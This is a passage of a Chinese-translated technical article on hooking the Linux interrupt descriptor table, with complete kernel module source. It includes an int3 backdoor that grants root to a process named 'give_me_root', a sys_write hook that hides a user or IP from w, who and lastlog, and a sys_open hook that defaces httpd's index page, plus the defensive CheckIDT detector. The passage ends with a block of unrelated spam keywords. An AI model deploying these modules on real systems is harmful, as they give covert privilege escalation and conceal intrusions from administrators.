else
{
strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
}
copy_to_user(ptr,buffer,regs->edx);
}
kfree(buffer);
}
}
- 比較是否是要操作的進程
- 分配buffer空間,接收來自的regs->ecx字符串
- 我們把string從用戶空間拷貝到內核空間(copy_from_user)
- 查找我們要隱藏到的string
- 假如發現替換成我們要變成的string
- 把我們替換過的string拷貝到用戶空間(copy_to_user)
練習 :
--------------
%gcc -I/usr/src/linux/include -O2 -c hookstub-V0.5.2.c
%w
12:07am up 38 min, 2 users, load average: 0.60, 0.60, 0.48
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
kad tty1 - 11:32pm 35:15 14:57 0.03s sh /usr/X11/bin/startx
kad pts/1 :0.0 11:58pm 8:51 0.08s 0.03s man setuid
%modinfo hookstub-V0.5.2.o
filename: hookstub-V0.5.2.o
description: "Hooking of sys_write"
author: "kad"
parm: interrupt int, description "Interrupt number"
parm: hide_string string, description "String to hide"
parm: false_string string, description "The fake string"
parm: progy string, description "You can add another program to fake"
%insmod hookstub-V0.5.2.o interrupt=128 hide_string=alert7 false_string=marcel
progy=ps
Inserting hook
Hooking finish
[alert7@redhat73 alert7]$ w
8:36am up 7:07, 3 users, load average: 0.02, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/1 192.168.0.176 1:47am 3.00s 0.28s 0.28s -bash
marcel pts/2 192.168.0.176 8:34am 0.00s 0.10s 0.01s w
[alert7@redhat73 alert7]$ ps -au
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
marcel 18602 0.0 0.6 2464 1288 pts/2 S 08:34 0:00 -bash
marcel 18685 0.0 0.3 2580 664 pts/2 R 08:41 0:00 ps -au
字符串"alert7"被隱藏起來了。整個源代碼在附件CODE 3中。該例子非常簡單但是非常
令人感興趣。我們把"alert7"替換成了"marcel", 我們也可改變我們的IP地址,不但可以
hook w ,who,lastlog我們還可以hook kogd等等
完全的sys_write鉤子
------------------------------
完全的sys_write鉤子有時候是比較有用的,比如我們要把一個IP地址變成另外一個。但是假如
我們完全改變一個string,那么我們將不再隱藏了。假如你把一個string變成另一個,它將影響
到整個系統。甚至簡單的cat也受影響:
%insmod hookstub-V0.5.3.o interrupt=128 hide_string="hello!" false_string="bye! "
Inserting hook
Hooking finish
%echo hello!
bye!
%
C 處理函數跟上面的一樣,就是不帶那個判斷條件。然而,這樣就使的系統會變的很慢。
----[ 5.4 - fun鉤子
該例子僅僅for fun,請不要濫用。感謝Spacewalker,這是他的想法。hook系統調用sys_open,所以
它打開其他文件時將使用另外個已經定義一個的文件替代。在這里只對httpd做處理。
SYS_OPEN:
---------
EAX : 5
EBX : ptr to pathname
ECX : file access
EDX : file permissions
asm 處理函數通上
C handler :
------------
asmlinkage void my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
if(strcmp(my_task->comm,"httpd") == 0)
{
if(strcmp((char *)regs->ebx,"/var/www/htdocs/index.html.fr")==0)
{
copy_to_user((char *)regs->ebx,"/tmp/hacked",
strlen((char *) regs->ebx));
}
}
}
當我們hook sys_open,假如httpd調用sys_open并且試圖打開index.html的時候,我們
就把index.html變成其他選擇的頁面。我們也可以使用MODULE_PARM很容易的改變這個頁。假如
是類試vi編輯器的時候,它將看到真正的index.html!
使用這種技術hook一個系統調用是非常容易的事情。此外,只要做些小改動就可以hook
其他系統調用。僅僅要做的就是給C處理函數做些小改動。然而,我們玩的是asm處理函數,例如
顛倒兩個系統調用。我們僅需要比較eax值并且把該值改成想要的系統調用值。為于管理員來說,
我們可以hook一些“熱門”的系統調用并且只要該系統調用被調用就會警告。我們也可以對
syscall_table修改的報警。
--[ 6 - CHECKIDT
CheckIDT是個小程序,在用戶模式玩轉IDT,它不需要使用LKM,。感謝Phrack 58關于
/dev/kmem的技術文章。該小程序就是基于這個寫的。CheckIDT幫助您編寫LKM并且防止重起。
另一方面,該軟件能對修改IDT作出警告,這對管理員是非常有用的。它使用tripwire的風格
保存IDT的狀態。它在文件中保存著IDT每個描述符,然后和現在的做比較。
一些使用例子 :
-----------------------
[root@redhat73 root]# ./checkidt
CheckIDT V 1.1 by kad
---------------------
Option :
-a nb show all info about one interrupt
-A showw all info about all interrupt
-I show IDT address
-c create file archive
-r read file archive
-o file output filename (for creating file archive)
-C compare save idt & new idt
-R restore IDT
-i file input filename to compare or read
-s resolve symbol thanks to /boot/System.map
-S file specify a map file
[root@redhat73 root]# ./checkidt -a 3 -s
Int *** Stub Address *** Segment *** DPL *** Type Handler Name
--------------------------------------------------------------------------
3 0xc0108ab0 KERNEL_CS 3 System gate int3
Thanks for choosing kad's products :-)
我們可以獲得一個中斷的描述信息。使用"-A"允許我們獲得所有的中斷。
[root@redhat73 root]# ./checkidt -c
Creating file archive idt done
Thanks for choosing kad's products :-)
[root@redhat73 root]# insmod hookstub-V0.3.2.o interrupt=3
Warning: loading hookstub-V0.3.2.o will taint the kernel: no license
Inserting hook
Hooking finished
[root@redhat73 root]# ./checkidt -C
Hey stub address of interrupt 3 has changed!!!
Old Value : 0xc0108ab0
New Value : 0xcc87b064
Thanks for choosing kad's products :-)
[root@redhat73 root]# ./checkidt -R
Restore old stub address of interrupt 3
Thanks for choosing kad's products :-)
[root@redhat73 root]# ./checkidt -C
All values are same
Thanks for choosing kad's products :-)
[root@redhat73 root]# lsmod
Module Size Used by Tainted: P
hookstub-V0.3.2 1712 0 (unused)
...
所以,CheckIDT可以恢復插入模塊之前的IDT的值。模塊還在那里,但已經不起作用了。
作為 tripwire,我建議你把保存IDT的文件放在只讀區。
注 : 假如模塊是隱藏著的,你也可以根據IDT的不同從而確定隱藏模塊的存在。
整個代碼在附件 CODE 4.
--[ 7 - REFERENCES
[1] http://www.linuxassembly.org/resources.html#tutorials
Many docs on asm inline
[2] http://www.xml.com/ldd/chapter/book/
linux device drivers
[3] http://www.lxhp.in-berlin.de/lhpsysc0.html
detailed syscalls list
[4] http://eccentrica.org/Mammon/
Mammon site, thanks mammon ;)
[5] http://www.oreilly.com/catalog/linuxkernel/
o'reilly book , great book :)
[6] http://www.tldp.org/LDP/lki/index.html
Linux Kernel 2.4 Internals
[7] Sources of 2.2.19 and 2.4.17 kernel
[8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html
good info about how bottom half work
[9] http://www.s0ftpj.org/en/tools.html
kstat
致謝
- 特別感謝freya, django和neuro幫助我把本文轉化為英文。再次感謝skyper的建議,還要感謝多少人:)
- 感謝Wax在asm上給我的寶貴意見
- 非常感謝mayhem, insulted, ptah 和 sauron 測試代碼并且校驗本文
- 感謝#frogs頻道的人, #thebhz 頻道的人, #gandalf 頻道的人, #fr 頻道的人, 感謝所有在RtC.Party
的人們,我不會忘記的,謝謝。
--[ 8 - 附件
CODE 1:
-------
/*****************************************/
/* hooking interrupt 3 . Idea by mammon */
/* with kad modification */
/*****************************************/
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#define error_code 0xc01092d0 //error code in my system.map
#define do_int3 0xc010977c //do_int3 in my system.map
asmlinkage void my_handler(struct pt_regs * regs,long err_code);
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long ptr_gdt_table;
unsigned long old_stub;
unsigned long old_handler=do_int3;
extern asmlinkage void my_stub();
unsigned long ptr_error_code=error_code;
unsigned long ptr_handler=(unsigned long)&my_handler;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
"pushl $0 \n"
"pushl ptr_handler(,1) \n"
"jmp *ptr_error_code "
::
);
}
asmlinkage void my_handler(struct pt_regs * regs,long err_code)
{
void (*old_int_handler)(struct pt_regs *,long) = (void *) old_handler;
printk("Wowowo hijacking de l'int 3 \n");
(*old_int_handler)(regs,err_code);
return;
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
}
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(3);
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
return;
}
int init_module(void)
{
ptr_idt_table=get_addr_idt();
hook_stub(3,&my_stub,&old_stub);
return 0;
}
void cleanup_module()
{
hook_stub(3,(char *)old_stub,NULL);
}
******************************************************************************
CODE 2:
-------
/****************************************************/
/* IDT int3 backdoor. Give root right to the process
/* Coded by kad
/****************************************************/
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#ifndef KERNEL2
#include
#else
#include
#endif
/*------------------------------------------*/
asmlinkage void my_function(unsigned long);
/*------------------------------------------*/
MODULE_AUTHOR("Kad");
MODULE_DESCRIPTION("Hooking of int3 , give root right to process");
MODULE_PARM(interrupt,"i");
MODULE_PARM_DESC(interrupt,"Interrupt number");
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
" pushl %%ebx \n"
" movl %%esp,%%ebx \n"
" andl $-8192,%%ebx \n"
" pushl %%ebx \n"
" call *%0 \n"
" addl $4,%%esp \n"
" popl %%ebx \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub)
);
}
asmlinkage void my_function(unsigned long addr_task)
{
struct task_struct *p = &((struct task_struct *) addr_task)[0];
if(strcmp(p->comm,"give_me_root")==0 )
{
#ifdef DEBUG
printk("UID : %i GID : %i SUID : %i\n",p->uid,
p->gid,p->suid);
#endif
p->uid=0;
p->gid=0;
#ifdef DEBUG
printk("UID : %i GID %i SUID : %i\n",p->uid,p->gid,p->suid);
#endif
}
else
{
#ifdef DEBUG
printk("Interrupt %i hijack \n",interrupt);
#endif
}
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
unsigned short get_size_idt(void)
{
unsigned idtr[6];
unsigned short size;
__asm__ volatile ("sidt %0": "=m" (idtr));
size=*((unsigned short *) &idtr[0]);
return(size);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
}
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(n);
#ifdef DEBUG
printk("Hook : new stub addresse not splited : 0x%.8x\n",new_addr);
#endif
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
#ifdef DEBUG
printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);
printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);
#endif
return;
}
int write_console (char *str)
{
struct tty_struct *my_tty;
if((my_tty=current->tty) != NULL)
{
(*(my_tty->driver).write) (my_tty,0,str,strlen(str));
return 0;
}
else return -1;
}
static int __init kad_init(void)
{
int x;
EXPORT_NO_SYMBOLS;
ptr_idt_table=get_addr_idt();
write_console("Inserting hook \r\n");
hook_stub(interrupt,&my_stub,&old_stub);
#ifdef DEBUG
printk("Set hooking on interrupt %i\n",interrupt);
#endif
write_console("Hooking finished \r\n");
return 0;
}
static void kad_exit(void)
{
write_console("Removing hook\r\n");
hook_stub(interrupt,(char *)old_stub,NULL);
}
module_init(kad_init);
module_exit(kad_exit);
******************************************************************************
CODE 3:
-------
/**************************************************************/
/* Hooking of sys_write for w,who and lastlog.
/* You can add an another program when you insmod the module
/* By kad
/**************************************************************/
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#ifndef KERNEL2
#include
#else
#include
#endif
#include
#include
#define sys_number 4
#define HIDE_STRING "localhost"
#define FALSE_STRING "somewhere"
#define PROG "w"
/*------------------------------------------*/
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task);
/*------------------------------------------*/
MODULE_AUTHOR("kad");
MODULE_DESCRIPTION("Hooking of sys_write");
MODULE_PARM(interrupt,"i");
MODULE_PARM_DESC(interrupt,"Interrupt number");
MODULE_PARM(hide_string,"s");
MODULE_PARM_DESC(hide_string,"String to hide");
MODULE_PARM(false_string,"s");
MODULE_PARM_DESC(false_string,"The fake string");
MODULE_PARM(progy,"s");
MODULE_PARM_DESC(progy,"You can add another program to fake");
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
char *hide_string;
char *false_string;
char *progy;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
//save the register value
" pushl %%ds \n"
" pushl %%eax \n"
" pushl %%ebp \n"
" pushl %%edi \n"
" pushl %%esi \n"
" pushl %%edx \n"
" pushl %%ecx \n"
" pushl %%ebx \n"
//compare it's the good syscall
" xor %%ebx,%%ebx \n"
" movl %2,%%ebx \n"
" cmpl %%eax,%%ebx \n"
" jne finis \n"
//if it's the good syscall , continue :)
" mov %%esp,%%edx \n"
" mov %%esp,%%eax \n"
" andl $-8192,%%eax \n"
" pushl %%eax \n"
" push %%edx \n"
" call *%0 \n"
" addl $8,%%esp \n"
"finis: \n"
//restore register
" popl %%ebx \n"
" popl %%ecx \n"
" popl %%edx \n"
" popl %%esi \n"
" popl %%edi \n"
" popl %%ebp \n"
" popl %%eax \n"
" popl %%ds \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
);
}
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task)
{
struct task_struct *my_task = &((struct task_struct * ) fd_task) [0];
char *ptr=(char *) regs->ecx;
char * buffer,*ptr3;
if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0
|| strcmp(my_task->comm,"lastlog")==0
|| ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
{
buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
copy_from_user(buffer,ptr,regs->edx);
if(hide_string)
{
ptr3=strstr(buffer,hide_string);
}
else
{
ptr3=strstr(buffer,HIDE_STRING);
}
if(ptr3 != NULL )
{
if (false_string)
{
strncpy(ptr3,false_string,strlen(false_string));
}
else
{
strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
}
copy_to_user(ptr,buffer,regs->edx);
}
kfree(buffer);
}
}
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
void * get_stub_from_idt (int n)
{
struct descriptor_idt *idte = &((struct descriptor_idt *) ptr_idt_table) [n];
return ((void *) ((idte->offset_high offset_low));
}
void hook_stub(int n,void *new_stub,unsigned long *old_stub)
{
unsigned long new_addr=(unsigned long)new_stub;
struct descriptor_idt *idt=(struct descriptor_idt *)ptr_idt_table;
//save old stub
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(n);
#ifdef DEBUG
printk("Hook : new stub addresse not splited : 0x%.8x\n",
new_addr);
#endif
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
#ifdef DEBUG
printk("Hook : idt->offset_high : 0x%.8x\n",idt[n].offset_high);
printk("Hook : idt->offset_low : 0x%.8x\n",idt[n].offset_low);
#endif
return;
}
int write_console (char *str)
{
struct tty_struct *my_tty;
if((my_tty=current->tty) != NULL)
{
(*(my_tty->driver).write) (my_tty,0,str,strlen(str));
return 0;
}
else return -1;
}
static int __init kad_init(void)
{
EXPORT_NO_SYMBOLS;
ptr_idt_table=get_addr_idt();
write_console("Inserting hook \r\n");
hook_stub(interrupt,&my_stub,&old_stub);
#ifdef DEBUG
printk("Set hooking on interrupt %i\n",interrupt);
#endif
write_console("Hooking finish \r\n");
return 0;
}
static void kad_exit(void)
{
write_console("Removing hook\r\n");
hook_stub(interrupt,(char *)old_stub,NULL);
}
module_init(kad_init);
module_exit(kad_exit);
******************************************************************************
checkidt/Makefile
all: checkidt.c
gcc -Wall -o checkidt checkidt.c
checkidt/checkidt.c
/*
* CheckIDT V1.1
* Play with IDT from userland
* It's a tripwire kind for IDT
* kad 2002
*
* gcc -Wall -o checkidt checkidt.c
*/
#include
#include
#include
#include
#include
#include
#include
#include
#define NORMAL "\033[0m"
#define NOIR "\033[30m"
#define ROUGE "\033[31m"
#define VERT "\033[32m"
#define JAUNE "\033[33m"
#define BLEU "\033[34m"
#define MAUVE "\033[35m"
#define BLEU_CLAIR "\033[36m"
#define SYSTEM "System gate"
#define INTERRUPT "Interrupt gate"
#define TRAP "Trap gate"
#define DEFAULT_FILE "Safe_idt"
#define DEFAULT_MAP "/boot/System.map"
/***********GLOBAL**************/
int fd_kmem;
unsigned long ptr_idt;
/******************************/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
struct Mode
{
int show_idt_addr;
int show_all_info;
int read_file_archive;
int create_file_archive;
char out_filename[20];
int compare_idt;
int restore_idt;
char in_filename[20];
int show_all_descriptor;
int resolve;
char map_filename[40];
};
unsigned long get_addr_idt (void)
{
unsigned char idtr[6];
unsigned long idt;
__asm__ volatile ("sidt %0": "=m" (idtr));
idt = *((unsigned long *) &idtr[2]);
return(idt);
}
unsigned short get_size_idt(void)
{
unsigned idtr[6];
unsigned short size;
__asm__ volatile ("sidt %0": "=m" (idtr));
size=*((unsigned short *) &idtr[0]);
return(size);
}
char * get_segment(unsigned short selecteur)
{
if(selecteur == __KERNEL_CS)
{
return("KERNEL_CS");
}
if(selecteur == __KERNEL_DS)
{
return("KERNEL_DS");
}
if(selecteur == __USER_CS)
{
return("USER_CS");
}
if(selecteur == __USER_DS)
{
return("USER_DS");
}
else
{
printf("UNKNOW\n");
}
}
void readkmem(void *m,unsigned off,int size)
{
if(lseek(fd_kmem,off,SEEK_SET) != off)
{
fprintf(stderr,"Error lseek. Are you root? \n");
exit(-1);
}
if(read(fd_kmem,m,size)!= size)
{
fprintf(stderr,"Error read kmem\n");
exit(-1);
}
}
void writekmem(void *m,unsigned off,int size)
{
if(lseek(fd_kmem,off,SEEK_SET) != off)
{
fprintf(stderr,"Error lseek. Are you root? \n");
exit(-1);
}
if(write(fd_kmem,m,size)!= size)
{
fprintf(stderr,"Error read kmem\n");
exit(-1);
}
}
void resolv(char *file,unsigned long stub_addr,char *name)
{
FILE *fd;
char buf[100],addr[30];
int ptr,ptr_begin,ptr_end;
snprintf(addr,30,"%x",(char *)stub_addr);
if(!(fd=fopen(file,"r")))
{
fprintf(stderr,"Can't open map file. You can specify a map file -S option or change #define in source\n");
exit(-1);
}
while(fgets(buf,100,fd) != NULL)
{
ptr=strstr(buf,addr);
if(ptr)
{
bzero(name,30);
ptr_begin=strstr(buf," ");
ptr_begin=strstr(ptr_begin+1," ");
ptr_end=strstr(ptr_begin+1,"\n");
strncpy(name,ptr_begin+1,ptr_end-ptr_begin-1);
break;
}
}
if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL);
fclose(fd);
}
void show_all_info(int interrupt,int all_descriptor,char *file,int resolve)
{
struct descriptor_idt *descriptor;
unsigned long stub_addr;
unsigned short selecteur;
char type[15];
char segment[15];
char name[30];
int x;
int dpl;
bzero(name,strlen(name));
descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
printf("Int *** Stub Address *** Segment *** DPL *** Type ");
if(resolve >= 0)
{
printf(" Handler Name\n");
printf("--------------------------------------------------------------------------\n");
}
else
{
printf("\n");
printf("---------------------------------------------------\n");
}
if(interrupt >= 0)
{
readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt));
stub_addr=(unsigned long)(descriptor->offset_high offset_low;
selecteur=(unsigned short) descriptor->seg_selector;
if(descriptor->flag & 64) dpl=3;
else dpl = 0;
if(descriptor->flag & 1)
{
if(dpl)
strncpy(type,SYSTEM,sizeof(SYSTEM));
else strncpy(type,TRAP,sizeof(TRAP));
}
else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
strcpy(segment,get_segment(selecteur));
if(resolve >= 0)
{
resolv(file,stub_addr,name);
printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",interrupt,stub_addr,segment,dpl,type,name);
}
else
{
printf("%-7i 0x%-14.8x %-12s %-7i%s\n",interrupt,stub_addr,segment,dpl,type);
}
}
if(all_descriptor >= 0 )
{
for (x=0;xoffset_high offset_low;
if(stub_addr != 0)
{
selecteur=(unsigned short) descriptor->seg_selector;
if(descriptor->flag & 64) dpl=3;
else dpl = 0;
if(descriptor->flag & 1)
{
if(dpl)
strncpy(type,SYSTEM,sizeof(SYSTEM));
else strncpy(type,TRAP,sizeof(TRAP));
}
else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
strcpy(segment,get_segment(selecteur));
if(resolve >= 0)
{
bzero(name,strlen(name));
resolv(file,stub_addr,name);
printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",x,stub_addr,segment,dpl,type,name);
}
else
{
printf("%-7i 0x%-14.8x %-12s %-7i%s\n",x,stub_addr,segment,dpl,type);
}
}
}
}
free(descriptor);
}
void create_archive(char *file)
{
FILE *file_idt;
struct descriptor_idt *descriptor;
int x;
descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
if(!(file_idt=fopen(file,"w")))
{
fprintf(stderr,"Error while opening file\n");
exit(-1);
}
for(x=0;xoffset_high offset_low;
printf("Interruption : %i -- Stub addresse : 0x%.8x\n",x,stub_addr);
}
free(descriptor);
fclose(file_idt);
}
void compare_idt(char *file,int restore_idt)
{
FILE *file_idt;
int x,change=0;
int result;
struct descriptor_idt *save_descriptor,*actual_descriptor;
unsigned long save_stub_addr,actual_stub_addr;
unsigned short *offset;
save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
file_idt=fopen(file,"r");
for(x=0;xoffset_high offset_low;
readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
actual_stub_addr=(unsigned long)(actual_descriptor->offset_high offset_low;
if(actual_stub_addr != save_stub_addr)
{
if(restore_idt offset_high = (unsigned short) (save_stub_addr >> 16);
actual_descriptor->offset_low = (unsigned short) (save_stub_addr & 0x0000FFFF);
writekmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
change=1;
}
}
}
if(!change)
fprintf(stderr,VERT"All values are same\n"NORMAL);
}
void initialize_value(struct Mode *mode)
{
mode->show_idt_addr=-1;
mode->show_all_info=-1;
mode->show_all_descriptor=-1;
mode->create_file_archive=-1;
mode->read_file_archive=-1;
strncpy(mode->out_filename,DEFAULT_FILE,strlen(DEFAULT_FILE));
mode->compare_idt=-1;
mode->restore_idt=-1;
strncpy(mode->in_filename,DEFAULT_FILE,strlen(DEFAULT_FILE));
strncpy(mode->map_filename,DEFAULT_MAP,strlen(DEFAULT_MAP));
mode->resolve=-1;
}
void usage()
{
fprintf(stderr,"CheckIDT V 1.1 by kad\n");
fprintf(stderr,"---------------------\n");
fprintf(stderr,"Option : \n");
fprintf(stderr," -a nb show all info about one interrupt\n");
fprintf(stderr," -A showw all info about all interrupt\n");
fprintf(stderr," -I show IDT address \n");
fprintf(stderr," -c create file archive\n");
fprintf(stderr," -r read file archive\n");
fprintf(stderr," -o file output filename (for creating file archive)\n");
fprintf(stderr," -C compare save idt & new idt\n");
fprintf(stderr," -R restore IDT\n");
fprintf(stderr," -i file input filename to compare or read\n");
fprintf(stderr," -s resolve symbol thanks to /boot/System.map\n");
fprintf(stderr," -S file specify a map file\n\n");
exit(1);
}
int main(int argc, char ** argv)
{
int option;
struct Mode *mode;
if (argc show_idt_addr=1;
break;
case 'a': mode->show_all_info=atoi(optarg);
break;
case 'A': mode->show_all_descriptor=1;
break;
case 'c': mode->create_file_archive=1;
break;
case 'r': mode->read_file_archive=1;
break;
case 'R': mode->restore_idt=1;
break;
case 'o': bzero(mode->out_filename,sizeof(mode->out_filename));
if(strlen(optarg) > 20)
{
fprintf(stderr,"Filename too long\n");
exit(-1);
}
strncpy(mode->out_filename,optarg,strlen(optarg));
break;
case 'C': mode->compare_idt=1;
break;
case 'i': bzero(mode->in_filename,sizeof(mode->in_filename));
if(strlen(optarg) > 20)
{
fprintf(stderr,"Filename too long\n");
exit(-1);
}
strncpy(mode->in_filename,optarg,strlen(optarg));
break;
case 's': mode->resolve=1;
break;
case 'S': bzero(mode->map_filename,sizeof(mode->map_filename));
if(strlen(optarg) > 40)
{
fprintf(stderr,"Filename too long\n");
exit(-1);
}
if(optarg)strncpy(mode->map_filename,optarg,strlen(optarg));
break;
}
}
printf("\n");
ptr_idt=get_addr_idt();
if(mode->show_idt_addr >= 0)
{
fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt);
}
fd_kmem=open("/dev/kmem",O_RDWR);
if(mode->show_all_info >= 0 || mode->show_all_descriptor >= 0)
{
show_all_info(mode->show_all_info,mode->show_all_descriptor,mode->map_filename,mode->resolve);
}
if(mode->create_file_archive >= 0)
{
create_archive(mode->out_filename);
}
if(mode->read_file_archive >= 0)
{
read_archive(mode->in_filename);
}
if(mode->compare_idt >= 0)
{
compare_idt(mode->in_filename,mode->restore_idt);
}
if(mode->restore_idt >= 0)
{
compare_idt(mode->in_filename,mode->restore_idt);
}
printf(JAUNE"\nThanks for choosing kad's products :-)\n"NORMAL);
free(mode);
return 0;
}?

轉載于:https://www.cnblogs.com/Dennis-mi/articles/5137776.html

總結

以上是生活随笔為你收集整理的Linux HOOK的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

色天天综合网 | www.久久免费 | 国产亚洲精品久久久久久久久久久久 | www.久久爱.cn | 00av视频 | 国产精品网址在线观看 | 高清av免费一区中文字幕 | 亚洲老妇xxxxxx | 国产成人精品综合久久久 | 一级黄色毛片 | 97免费 | 欧美日韩另类视频 | 亚洲国产日韩av | 96国产在线 | 国产精品毛片一区二区在线看 | 91亚洲在线观看 | 最近中文字幕免费大全 | av成人动漫在线观看 | 久草视频视频在线播放 | 久久高视频 | 在线香蕉视频 | 国产综合福利在线 | 天堂v中文| 天天操天天摸天天爽 | 天天干天天上 | 久久电影网站中文字幕 | 少妇bbb搡bbbb搡bbbb | 91传媒在线观看 | 亚洲精品久久久久999中文字幕 | 国产精品日韩精品 | 在线观看免费黄色 | 日本精品午夜 | 天天操天天艹 | 天天激情综合网 | 欧美另类性| zzijzzij亚洲日本少妇熟睡 | 亚洲一区二区高潮无套美女 | 日日夜夜91| 国产一区在线视频观看 | 日本久久高清视频 | 激情视频免费在线 | 日韩精品视频久久 | 亚洲精品国产精品国产 | 91精彩视频在线观看 | 99视频国产精品免费观看 | 正在播放一区 | 免费福利在线 | 中文字幕日本在线观看 | 国产网站在线免费观看 | 日产乱码一二三区别免费 | 欧美夫妻生活视频 | 国产日韩精品在线观看 | 激情婷婷综合网 | 久久久久国产精品www | 久久在线视频精品 | 国产九色视频在线观看 | 四虎免费av | 欧美日韩在线免费视频 | 欧美日韩一二三四区 | 1000部18岁以下禁看视频 | 奇米四色影狠狠爱7777 | 香蕉视频在线免费 | 黄色小说18 | 久久亚洲福利视频 | 天天综合网天天综合色 | 欧美小视频在线 | 亚洲91网站 | 久久理论视频 | 99久久久久国产精品免费 | 中文一区在线观看 | 久久久久久久久久久电影 | 日韩二三区 | 天天插天天操天天干 | www.久久久.com| 久久国产高清 | 国产福利中文字幕 | 在线99热 | 在线婷婷 | 亚洲日本欧美 | 毛片视频网址 | 久久国产精品免费看 | 探花视频免费观看 | 国产成人av | 欧美色操 | 国产成人精品一区二区三区网站观看 | 欧美专区日韩专区 | 男女男视频| 在线黄色国产电影 | 狠狠搞,com | 最新中文字幕在线资源 | 精品久久在线 | a黄色片在线观看 | 国产伦精品一区二区三区四区视频 | av电影在线不卡 | 伊人五月综合 | 日韩精品不卡 | 久久久久久久久久久久久久电影 | 全黄色一级片 | 黄网站免费大全入口 | 国产一级黄色av | 麻豆传媒电影在线观看 | 亚洲成人av在线电影 | 久久国产精品精品国产色婷婷 | 欧洲一区二区在线观看 | 成年人网站免费观看 | 国产大陆亚洲精品国产 | 97视频免费在线看 | 激情网婷婷| 日韩城人在线 | 欧美三级免费 | 日韩精品无| 日日日天天天 | 91在线日本| 五月天婷婷在线观看视频 | 亚洲精品在线观看视频 | 久久久久免费精品国产 | 精品在线视频一区 | 欧美日韩中文字幕综合视频 | 国产无吗一区二区三区在线欢 | 